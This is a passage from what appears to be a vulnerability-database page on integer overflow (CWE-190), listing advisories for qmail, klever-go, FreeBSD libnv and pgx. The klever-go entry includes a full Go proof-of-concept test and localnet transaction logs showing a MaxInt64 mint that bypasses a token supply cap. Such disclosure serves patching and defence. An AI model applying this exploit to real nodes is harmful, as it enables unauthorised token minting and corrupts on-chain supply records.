Common Weakness Enumeration

CWE-190

Allowed

Integer Overflow or Wraparound

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

4393 vulnerabilities reference this CWE, most recent first.

GHSA-MRMC-M8FJ-G9PX

Vulnerability from github – Published: 2022-05-01 01:59 – Updated: 2025-04-03 04:12
VLAI
Details

Integer overflow in the stralloc_readyplus function in qmail, when running on 64 bit platforms with a large amount of virtual memory, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a large SMTP request.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2005-1513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-05-11T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Integer overflow in the stralloc_readyplus function in qmail, when running on 64 bit platforms with a large amount of virtual memory, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a large SMTP request.",
  "id": "GHSA-mrmc-m8fj-g9px",
  "modified": "2025-04-03T04:12:58Z",
  "published": "2022-05-01T01:59:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-1513"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202007-01"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4556-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4692"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/fulldisclosure/2005-05/0101.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/157805/Qualys-Security-Advisory-Qmail-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158203/Qmail-Local-Privilege-Escalation-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/172804/RenderDoc-1.26-Local-Privilege-Escalation-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/Jun/27"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/May/42"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Jun/2"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1013911"
    },
    {
      "type": "WEB",
      "url": "http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/05/19/8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/05/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/05/20/5"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/06/16/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/06/06/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MRPP-V6PG-P54X

Vulnerability from github – Published: 2026-08-28 22:08 – Updated: 2026-08-28 22:08
VLAI
Summary
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
Details

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

  • core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
  • Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

Full Go PoC (systemAccount package, passes = bug confirmed) 
package systemAccount

import (
    "math"
    "testing"

    "github.com/klever-io/klever-go/common"
    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/kapps"
    "github.com/klever-io/klever-go/tools/marshal"
    "github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
    t.Helper()

    marshalizer := &marshal.ProtoMarshalizer{}
    store := make(map[string][]byte)

    tracker := &commonMock.DataTrieTrackerStub{
        RetrieveValueCalled: func(key []byte) ([]byte, error) {
            return store[string(key)], nil
        },
        SaveKeyValueCalled: func(key []byte, value []byte) error {
            store[string(key)] = value
            return nil
        },
    }

    kappAccount := &commonMock.KAppAccountHandlerStub{
        DataTrieTrackerCalled: func() state.DataTrieTracker {
            return tracker
        },
    }

    s := &systemAccountKApp{marshalizer: marshalizer}
    require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
        LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
            return kappAccount, nil
        },
    }))

    return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
    t.Helper()
    meta, err := s.SFTGetMeta(asset, nonce)
    require.NoError(t, err)
    require.NotNil(t, meta)
    return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
    asset := []byte("SFTASSET")
    nonce := []byte{0x01}

    const maxSupply = int64(1000)
    const startCirculation = int64(5)
    // amount is a raw int64 from the contract with no upstream upper bound; the
    // largest value it can carry is MaxInt64. With Circulation already at 5,
    // 5 + MaxInt64 overflows int64 and wraps negative.
    const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

    // --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
    s, _ := newExploitSystemAccountKApp(t)

    require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
    // seed an initial circulation of 5 (well within the cap)
    require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

    before := readMeta(t, s, asset, nonce)
    require.Equal(t, maxSupply, before.MaxSupply)
    require.Equal(t, startCirculation, before.Circulation)
    t.Logf("BEFORE  exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

    // --- contrast: a normal over-cap amount IS correctly rejected ---
    // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
    contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
    require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
        "a non-overflowing over-cap mint must be rejected")
    // the rejected call must NOT have persisted (Circulation unchanged at 5)
    afterContrast := readMeta(t, s, asset, nonce)
    require.Equal(t, startCirculation, afterContrast.Circulation,
        "rejected over-cap mint must not persist new circulation")
    t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
        contrastErr, afterContrast.Circulation)

    // --- the exploit: amount near MaxInt64 overflows Circulation negative ---
    exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

    after := readMeta(t, s, asset, nonce)
    t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
    t.Logf("AFTER   exploit: Circulation=%d  err=%v", after.Circulation, exploitErr)

    // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
    require.NoError(t, exploitErr,
        "BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

    // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
    require.Negative(t, after.Circulation,
        "BUG: Circulation must have overflowed to a negative value")

    // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
    // Computed via non-constant vars so the deliberate overflow happens at runtime
    // (a constant expression would be rejected by the compiler).
    circ := startCirculation
    amt := overflowAmount
    expectedWrap := circ + amt // intentional int64 overflow at runtime
    require.Equal(t, expectedWrap, after.Circulation)

    t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
        "a real mint would have credited ~%d tokens with no matching debit.",
        maxSupply, after.Circulation, overflowAmount)
}

On-chain reproduction (live single-node localnet)

SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

Setup mint — nonce 1 minted normally with amount=1 (hash 21e8059e…b55aad1a) 
{
    "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
    "blockNum": 463,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "type": 0,
            "typeString": "Transfer",
            "value": 1
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF",
                "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                "amount": 1
            }
        }
    ]
}
Exploit — MaxInt64 add-quantity to a fresh receiver, result Ok, cap 1000 bypassed (hash 8aff40fa…2e1c981e) 
{
    "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
    "blockNum": 484,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 9223372036854775807
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF/1",
                "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                "amount": 9223372036854775807
            }
        }
    ]
}

Remediation

  1. In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic.
  2. Consensus-affecting → gate behind the next activation flag.
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T22:08:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation \u003e meta.MaxSupply \u0026\u0026 meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative \u003e MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable \u2014 it has a post-increment `MintedValue \u003c= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist \u2014 isolating the unguarded `+=` overflow as the bypass.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003esystemAccount\u003c/code\u003e package, passes = bug confirmed)\u003c/summary\u003e\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := \u0026marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := \u0026commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := \u0026commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := \u0026systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(\u0026commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation \u003e meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 \u003e 1000, no overflow -\u003e ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 \u003e cap 1000) -\u003e err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two\u0027s-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address \u2014\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver\u0027s balance add does not itself overflow.)\n\n\u003cdetails\u003e\u003csummary\u003eSetup mint \u2014 nonce 1 minted normally with \u003ccode\u003eamount=1\u003c/code\u003e (hash \u003ccode\u003e21e8059e\u2026b55aad1a\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eExploit \u2014 \u003ccode\u003eMaxInt64\u003c/code\u003e add-quantity to a fresh receiver, result \u003ccode\u003eOk\u003c/code\u003e, cap 1000 bypassed (hash \u003ccode\u003e8aff40fa\u20262e1c981e\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation \u003c 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue \u003c= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-mrpp-v6pg-p54x",
  "modified": "2026-08-28T22:08:56Z",
  "published": "2026-08-28T22:08:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply"
}

GHSA-MRWF-VH6J-2GRJ

Vulnerability from github – Published: 2024-09-05 06:31 – Updated: 2024-09-05 15:33
VLAI
Details

A malicious value of size in a structure of packed libnv can cause an integer overflow, leading to the allocation of a smaller buffer than required for the parsed data.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-131",
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-05T04:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "A malicious value of size in a structure of packed libnv can cause an integer overflow, leading to the allocation of a smaller buffer than required for the parsed data.",
  "id": "GHSA-mrwf-vh6j-2grj",
  "modified": "2024-09-05T15:33:35Z",
  "published": "2024-09-05T06:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45287"
    },
    {
      "type": "WEB",
      "url": "https://security.freebsd.org/advisories/FreeBSD-SA-24:09.libnv.asc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MRWW-27VC-GGHV

Vulnerability from github – Published: 2024-03-04 20:43 – Updated: 2024-12-12 22:30
VLAI
Summary
pgx SQL Injection via Protocol Message Size Overflow
Details

Impact

SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker's control.

Patches

The problem is resolved in v4.18.2 and v5.5.4.

Workarounds

Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jackc/pgx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jackc/pgx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jackc/pgx/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jackc/pgx/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-04T20:43:24Z",
    "nvd_published_at": "2024-03-06T19:15:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nSQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker\u0027s control.\n\n### Patches\n\nThe problem is resolved in v4.18.2 and v5.5.4.\n\n### Workarounds\n\nReject user input large enough to cause a single query or bind message to exceed 4 GB in size.\n",
  "id": "GHSA-mrww-27vc-gghv",
  "modified": "2024-12-12T22:30:36Z",
  "published": "2024-03-04T20:43:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8"
    },
    {
